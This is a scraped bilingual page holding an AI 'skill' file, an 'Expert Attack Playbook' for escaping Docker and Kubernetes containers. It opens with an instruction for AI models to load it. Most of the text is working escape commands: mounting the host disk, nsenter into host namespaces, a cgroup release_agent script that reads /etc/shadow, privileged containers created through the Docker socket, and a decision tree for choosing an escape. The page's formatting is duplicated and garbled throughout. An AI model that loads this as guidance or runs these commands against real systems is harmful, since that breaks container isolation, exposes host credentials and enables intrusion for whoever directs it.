container-escape-techniques
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseSKILL: Container Escape Techniques — Expert Attack Playbook
SKILL:容器逃逸技术 —— 专家级攻击手册
AI LOAD INSTRUCTION: Expert container escape techniques. Covers privileged container breakout, capability abuse, Docker socket exploitation, cgroup release_agent, namespace escape, runtime CVEs, and Kubernetes pod escape. Base models miss subtle escape paths via combined capabilities and cgroup manipulation.
AI加载说明:专家级容器逃逸技术,覆盖特权容器突破、capability滥用、Docker socket利用、cgroup release_agent、命名空间逃逸、运行时CVE、Kubernetes pod逃逸。基础模型会遗漏结合capability和cgroup操作的隐蔽逃逸路径。
0. RELATED ROUTING
0. 相关路由
Before going deep, consider loading:
- linux-privilege-escalation when you first need root inside the container before attempting escape
- kubernetes-pentesting for K8s-specific attack paths beyond pod escape
- linux-security-bypass when seccomp/AppArmor blocks your escape technique
在深入学习前,可考虑加载以下内容:
- linux-privilege-escalation:如果你在尝试逃逸前需要先在容器内获取root权限
- kubernetes-pentesting:获取Pod逃逸之外的K8s专属攻击路径
- linux-security-bypass:当seccomp/AppArmor阻断了你的逃逸技术时使用
Advanced Reference
高级参考
Also load DOCKER_ESCAPE_CHAINS.md when you need:
- Step-by-step escape chains for common misconfigurations
- Docker-in-Docker escape scenarios
- Kubernetes-specific escape paths with full command sequences
当你需要以下内容时,也可加载 DOCKER_ESCAPE_CHAINS.md:
- 常见配置错误的分步逃逸链
- Docker-in-Docker逃逸场景
- 带完整命令序列的Kubernetes专属逃逸路径
1. AM I IN A CONTAINER?
1. 我是否身处容器中?
bash
undefinedbash
undefinedQuick checks
Quick checks
cat /proc/1/cgroup 2>/dev/null | grep -qi "docker|kubepods|containerd"
ls -la /.dockerenv 2>/dev/null
cat /proc/self/mountinfo | grep -i "overlay|docker|kubelet"
hostname # random hex = likely container
cat /proc/1/cgroup 2>/dev/null | grep -qi "docker|kubepods|containerd"
ls -la /.dockerenv 2>/dev/null
cat /proc/self/mountinfo | grep -i "overlay|docker|kubelet"
hostname # random hex = likely container
Detailed check
Detailed check
cat /proc/1/status | head -5 # PID 1 is not systemd/init?
mount | grep -i "overlay" # overlay filesystem?
ip addr # veth interface? limited NICs?
undefinedcat /proc/1/status | head -5 # PID 1 is not systemd/init?
mount | grep -i "overlay" # overlay filesystem?
ip addr # veth interface? limited NICs?
undefinedTools for Container Detection
容器检测工具
bash
undefinedbash
undefinedamicontained: shows container runtime, capabilities, seccomp
amicontained: shows container runtime, capabilities, seccomp
./amicontained
./amicontained
deepce: Docker enumeration and exploit suggester
deepce: Docker enumeration and exploit suggester
./deepce.sh
./deepce.sh
CDK: all-in-one container pentesting toolkit
CDK: all-in-one container pentesting toolkit
./cdk evaluate
---./cdk evaluate
---2. PRIVILEGED CONTAINER ESCAPE
2. 特权容器逃逸
If flag was used, the container has nearly all host capabilities and device access.
--privileged如果使用了参数,容器几乎拥有所有宿主机capability和设备访问权限。
--privileged2.1 Mount Host Filesystem
2.1 挂载宿主机文件系统
bash
undefinedbash
undefinedCheck if privileged
Check if privileged
cat /proc/self/status | grep CapEff
cat /proc/self/status | grep CapEff
CapEff: 0000003fffffffff = fully privileged
CapEff: 0000003fffffffff = fully privileged
Find host disk
Find host disk
fdisk -l 2>/dev/null || lsblk
fdisk -l 2>/dev/null || lsblk
Usually /dev/sda1 or /dev/vda1
Usually /dev/sda1 or /dev/vda1
Mount host root
Mount host root
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
Access host filesystem
Access host filesystem
cat /mnt/host/etc/shadow
chroot /mnt/host bash
undefinedcat /mnt/host/etc/shadow
chroot /mnt/host bash
undefined2.2 nsenter (Enter Host Namespaces)
2.2 nsenter(进入宿主机命名空间)
bash
undefinedbash
undefinedFrom privileged container, enter host PID 1's namespaces
From privileged container, enter host PID 1's namespaces
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
This gives a shell in the host's namespace context
This gives a shell in the host's namespace context
Effectively a full host shell
Effectively a full host shell
undefinedundefined2.3 Privileged + Host PID Namespace
2.3 特权模式 + 宿主机PID命名空间
bash
undefinedbash
undefinedIf hostPID: true is set (Kubernetes)
If hostPID: true is set (Kubernetes)
Access host processes via /proc
Access host processes via /proc
ls /proc/1/root/ # Host root filesystem
cat /proc/1/root/etc/shadow
ls /proc/1/root/ # Host root filesystem
cat /proc/1/root/etc/shadow
Inject into host process
Inject into host process
nsenter --target 1 --mount -- bash
---nsenter --target 1 --mount -- bash
---3. CAPABILITY-BASED ESCAPE
3. 基于Capability的逃逸
3.1 CAP_SYS_ADMIN — Most Versatile
3.1 CAP_SYS_ADMIN —— 通用性最强
bash
undefinedbash
undefinedCheck capabilities
Check capabilities
capsh --print 2>/dev/null
grep CapEff /proc/self/status
capsh --print 2>/dev/null
grep CapEff /proc/self/status
Escape via mounting
Escape via mounting
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
Or mount host filesystem if device access exists
Or mount host filesystem if device access exists
mount /dev/sda1 /mnt/host 2>/dev/null
undefinedmount /dev/sda1 /mnt/host 2>/dev/null
undefined3.2 CAP_SYS_PTRACE — Process Injection
3.2 CAP_SYS_PTRACE —— 进程注入
bash
undefinedbash
undefinedInject shellcode into a host process (requires host PID namespace)
Inject shellcode into a host process (requires host PID namespace)
Find a root process
Find a root process
ps aux | grep root
ps aux | grep root
Use gdb or python-ptrace to inject
Use gdb or python-ptrace to inject
python3 << 'EOF'
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library("c"))
python3 << 'EOF'
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library("c"))
Attach to host process, inject shellcode
Attach to host process, inject shellcode
... (full inject_shellcode implementation)
... (full inject_shellcode implementation)
EOF
undefinedEOF
undefined3.3 CAP_NET_ADMIN
3.3 CAP_NET_ADMIN
bash
undefinedbash
undefinedManipulate host network if host network namespace is shared
Manipulate host network if host network namespace is shared
ARP spoofing, route manipulation, traffic interception
ARP spoofing, route manipulation, traffic interception
iptables -L # Can see/modify host firewall rules?
ip route # Can modify routing?
undefinediptables -L # Can see/modify host firewall rules?
ip route # Can modify routing?
undefined3.4 CAP_DAC_READ_SEARCH (Shocker Exploit)
3.4 CAP_DAC_READ_SEARCH(Shocker Exploit)
bash
undefinedbash
undefinedopen_by_handle_at() bypass — read files from host
open_by_handle_at() bypass — read files from host
Compile and run the "shocker" exploit
Compile and run the "shocker" exploit
Works when DAC_READ_SEARCH capability is granted
Works when DAC_READ_SEARCH capability is granted
gcc shocker.c -o shocker
./shocker /etc/shadow # Read host file
---gcc shocker.c -o shocker
./shocker /etc/shadow # Read host file
---4. DOCKER SOCKET ESCAPE (/var/run/docker.sock)
4. Docker Socket逃逸(/var/run/docker.sock)
bash
ls -la /var/run/docker.sock # Check if mountedbash
ls -la /var/run/docker.sock # Check if mountedWith Docker CLI:
With Docker CLI:
docker run -v /:/host --privileged -it alpine chroot /host bash
docker run -v /:/host --privileged -it alpine chroot /host bash
Without CLI (curl only) — create privileged container via API:
Without CLI (curl only) — create privileged container via API:
curl -s --unix-socket /var/run/docker.sock
-X POST http://localhost/containers/create
-H "Content-Type: application/json"
-d '{"Image":"alpine","Cmd":["/bin/sh"],"Tty":true,"OpenStdin":true, "HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
-X POST http://localhost/containers/create
-H "Content-Type: application/json"
-d '{"Image":"alpine","Cmd":["/bin/sh"],"Tty":true,"OpenStdin":true, "HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
curl -s --unix-socket /var/run/docker.sock
-X POST http://localhost/containers/create
-H "Content-Type: application/json"
-d '{"Image":"alpine","Cmd":["/bin/sh"],"Tty":true,"OpenStdin":true, "HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
-X POST http://localhost/containers/create
-H "Content-Type: application/json"
-d '{"Image":"alpine","Cmd":["/bin/sh"],"Tty":true,"OpenStdin":true, "HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
Start → Exec chroot /host bash (see DOCKER_ESCAPE_CHAINS.md for full sequence)
Start → Exec chroot /host bash (see DOCKER_ESCAPE_CHAINS.md for full sequence)
---
---5. CGROUP V1 RELEASE_AGENT ESCAPE
5. CGROUP V1 RELEASE_AGENT逃逸
Classic escape for containers with CAP_SYS_ADMIN + cgroup v1.
bash
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w && echo 1 > $d/w/notify_on_release
host_path=$(sed -n 's/.*\bperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > $d/release_agent
cat > /cmd << 'EOF'
#!/bin/sh
cat /etc/shadow > /output 2>&1 # Or: reverse shell
EOF
chmod +x /cmd
sh -c "echo \$\$ > $d/w/cgroup.procs" && sleep 1
cat /output针对拥有CAP_SYS_ADMIN + cgroup v1的容器的经典逃逸方法。
bash
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w && echo 1 > $d/w/notify_on_release
host_path=$(sed -n 's/.*\bperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > $d/release_agent
cat > /cmd << 'EOF'
#!/bin/sh
cat /etc/shadow > /output 2>&1 # Or: reverse shell
EOF
chmod +x /cmd
sh -c "echo \$\$ > $d/w/cgroup.procs" && sleep 1
cat /output6. CGROUP V2 / eBPF ESCAPE
6. CGROUP V2 / eBPF逃逸
bash
undefinedbash
undefinedCgroup v2: no release_agent file
Cgroup v2: no release_agent file
Check cgroup version:
Check cgroup version:
mount | grep cgroup
mount | grep cgroup
cgroup2 → v2
cgroup2 → v2
eBPF-based escape (requires CAP_SYS_ADMIN + CAP_BPF or equivalent)
eBPF-based escape (requires CAP_SYS_ADMIN + CAP_BPF or equivalent)
Kernel ≥ 5.8 with unprivileged eBPF enabled
Kernel ≥ 5.8 with unprivileged eBPF enabled
cat /proc/sys/kernel/unprivileged_bpf_disabled
cat /proc/sys/kernel/unprivileged_bpf_disabled
0 = eBPF available to unprivileged users
0 = eBPF available to unprivileged users
---
---7. NAMESPACE ESCAPE
7. 命名空间逃逸
User Namespace
用户命名空间
bash
undefinedbash
undefinedIf user namespace creation is allowed inside container:
If user namespace creation is allowed inside container:
unshare -U --map-root-user bash
unshare -U --map-root-user bash
Now "root" inside new namespace
Now "root" inside new namespace
Combined with other capabilities → mount host filesystem
Combined with other capabilities → mount host filesystem
undefinedundefinedPID Namespace Escape
PID命名空间逃逸
bash
undefinedbash
undefinedIf hostPID: true (shared PID namespace with host)
If hostPID: true (shared PID namespace with host)
Access host processes directly:
Access host processes directly:
ls /proc/1/root/ # Host's root filesystem
cat /proc/1/root/etc/shadow
ls /proc/1/root/ # Host's root filesystem
cat /proc/1/root/etc/shadow
Inject into host process:
Inject into host process:
nsenter -t 1 -m -u -i -n -p -- bash
---nsenter -t 1 -m -u -i -n -p -- bash
---8. RUNTIME VULNERABILITIES
8. 运行时漏洞
runc CVE-2019-5736
runc CVE-2019-5736
Overwrites host runc binary when is used.
docker execbash
undefined使用时会覆盖宿主机的runc二进制文件。
docker execbash
undefinedConditions: docker exec into a malicious container triggers exploit
Conditions: docker exec into a malicious container triggers exploit
The container's /bin/sh is replaced with exploit binary
The container's /bin/sh is replaced with exploit binary
When next exec happens → overwrites /usr/bin/runc on host
When next exec happens → overwrites /usr/bin/runc on host
PoC: modify entrypoint to overwrite runc
PoC: modify entrypoint to overwrite runc
This is a one-shot exploit — runc is replaced permanently
This is a one-shot exploit — runc is replaced permanently
undefinedundefinedcontainerd CVE-2020-15257
containerd CVE-2020-15257
bash
undefinedbash
undefinedHost network namespace shared + containerd < 1.3.9 / 1.4.3
Host network namespace shared + containerd < 1.3.9 / 1.4.3
Abstract Unix socket accessible from container
Abstract Unix socket accessible from container
Connect to containerd shim API via @/containerd-shim/*.sock
Connect to containerd shim API via @/containerd-shim/*.sock
undefinedundefinedcgroups CVE-2022-0492
cgroups CVE-2022-0492
bash
undefinedbash
undefinedUnpatched kernel allows cgroup escape without CAP_SYS_ADMIN
Unpatched kernel allows cgroup escape without CAP_SYS_ADMIN
release_agent writable by unprivileged user in container
release_agent writable by unprivileged user in container
---
---9. KUBERNETES POD ESCAPE
9. Kubernetes Pod逃逸
| Dangerous Pod Spec | Escape |
|---|---|
| |
| Access node services (Kubelet, etcd) directly |
| |
| Mount host disk / nsenter |
| SA token with RBAC | Create new privileged pod via API |
See kubernetes-pentesting for full K8s attack paths.
| 危险Pod配置 | 逃逸方法 |
|---|---|
| |
| 直接访问节点服务(Kubelet、etcd) |
| |
| 挂载宿主机磁盘 / nsenter |
| 带高权限RBAC的SA令牌 | 通过API创建新的特权Pod |
完整K8s攻击路径请查看 kubernetes-pentesting。
10. TOOLS
10. 工具
| Tool | Purpose | URL/Command |
|---|---|---|
| deepce | Docker enumeration + exploit suggestions | |
| CDK | Container/K8s exploitation toolkit | |
| amicontained | Show container runtime, caps, seccomp | |
| PEIRATES | Kubernetes penetration testing | |
| BOtB | Break out the Box — auto-escape | |
| 工具 | 用途 | URL/命令 |
|---|---|---|
| deepce | Docker枚举 + 利用建议 | |
| CDK | 容器/K8s利用工具包 | |
| amicontained | 展示容器运行时、cap、seccomp信息 | |
| PEIRATES | Kubernetes渗透测试 | |
| BOtB | Break out the Box — 自动逃逸 | |
11. CONTAINER ESCAPE DECISION TREE
11. 容器逃逸决策树
Inside a container?
│
├── Privileged mode? (CapEff = 0000003fffffffff)
│ ├── Yes → mount host disk (§2.1) or nsenter (§2.2)
│ └── Partial capabilities? Check each:
│ ├── CAP_SYS_ADMIN → cgroup release_agent (§5) or mount (§3.1)
│ ├── CAP_SYS_PTRACE + hostPID → process injection (§3.2)
│ ├── CAP_DAC_READ_SEARCH → shocker exploit (§3.4)
│ └── CAP_NET_ADMIN + hostNetwork → network manipulation (§3.3)
│
├── Docker socket mounted? (/var/run/docker.sock)
│ └── Yes → create privileged container (§4)
│
├── Host PID namespace shared?
│ └── Yes → nsenter -t 1 or /proc/1/root access (§7)
│
├── Cgroup v1?
│ └── + CAP_SYS_ADMIN → release_agent escape (§5)
│
├── Runtime vulnerable?
│ ├── runc < 1.0.0-rc6 → CVE-2019-5736 (§8)
│ └── containerd < 1.3.9 → CVE-2020-15257 (§8)
│
├── Kernel vulnerable?
│ └── Check KERNEL_EXPLOITS_CHECKLIST in linux-privilege-escalation
│
├── Kubernetes pod?
│ ├── Service account with elevated RBAC? → create escape pod (§9)
│ └── hostPath volume? → access host filesystem
│
└── None of the above?
├── Run deepce/CDK for automated detection
├── Check for writable host mount points
├── Enumerate network for other containers/services
└── Check /proc/self/mountinfo for interesting mountsInside a container?
│
├── Privileged mode? (CapEff = 0000003fffffffff)
│ ├── Yes → mount host disk (§2.1) or nsenter (§2.2)
│ └── Partial capabilities? Check each:
│ ├── CAP_SYS_ADMIN → cgroup release_agent (§5) or mount (§3.1)
│ ├── CAP_SYS_PTRACE + hostPID → process injection (§3.2)
│ ├── CAP_DAC_READ_SEARCH → shocker exploit (§3.4)
│ └── CAP_NET_ADMIN + hostNetwork → network manipulation (§3.3)
│
├── Docker socket mounted? (/var/run/docker.sock)
│ └── Yes → create privileged container (§4)
│
├── Host PID namespace shared?
│ └── Yes → nsenter -t 1 or /proc/1/root access (§7)
│
├── Cgroup v1?
│ └── + CAP_SYS_ADMIN → release_agent escape (§5)
│
├── Runtime vulnerable?
│ ├── runc < 1.0.0-rc6 → CVE-2019-5736 (§8)
│ └── containerd < 1.3.9 → CVE-2020-15257 (§8)
│
├── Kernel vulnerable?
│ └── Check KERNEL_EXPLOITS_CHECKLIST in linux-privilege-escalation
│
├── Kubernetes pod?
│ ├── Service account with elevated RBAC? → create escape pod (§9)
│ └── hostPath volume? → access host filesystem
│
└── None of the above?
├── Run deepce/CDK for automated detection
├── Check for writable host mount points
├── Enumerate network for other containers/services
└── Check /proc/self/mountinfo for interesting mounts